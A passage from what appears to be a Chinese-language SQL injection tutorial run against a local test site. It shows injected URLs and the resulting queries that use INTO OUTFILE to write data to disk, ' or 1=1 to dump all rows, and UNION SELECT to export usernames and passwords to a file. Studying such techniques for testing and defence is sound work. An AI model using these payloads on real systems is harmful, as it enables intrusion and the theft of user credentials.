|
SELECT * FROM user WHERE username='$username' into outfile 'c:/file.txt' |
知道怎么样的语句可以实现我们的目的,我们就很容易构造出相应的语句:
|
http://127.0.0.1/injection/user.php?username=angel' into outfile 'c:/file.txt |
出现了错误提示,但从返回的语句看来,我们的SQL语句确实是注入正确了,即使出现错误,也是查询的问题了,文件还是乖乖的被导出了,如图:

由于代码本身就有WHERE来指定一个条件,所以我们导出的数据仅仅是满足这个条件的数据,如果我们想导出全部呢?其实很简单,只要使这个WHERE条件为假,并且指定一个成真的条件,就可以不用被束缚在WHERE里了,来看看经典1=1发挥作用了:
|
http://127.0.0.1/injection/user.php?username=' or 1=1 into outfile 'c:/file.txt |
实际的SQL语句变为:
|
SELECT * FROM user WHERE username='' or 1=1 into outfile 'c:/file.txt' |
这样username的参数是空的,就是假了,1=1永远是真的,那or前面的WHERE就不起作用了,但千万别用and哦,否则是不能导出全部数据的。
既然条件满足,在这种情况下就直接导出所有数据!如图:
但是跨表的导出文件的语句该怎么构造呢?还是用到UNION联合查询,所以一切前提条件都应该和UNION、导出数据一样,跨表导出数据正常情况下应该相下面的一样:
|
SELECT * FROM article WHERE articleid='1' union select 1,username,password from user into outfile 'c:/user.txt' |
这样可以导出文件了,如果我们要构造就提交:
|
http://127.0.0.1/injection/show.php?id=1' union select 1,username,password from user into outfile 'c:/user.txt |
文件是出来了,可是有一个问题,由于前面的查询articleid='1'为真了,所以导出的数据也有整个文章的一部分,如图:







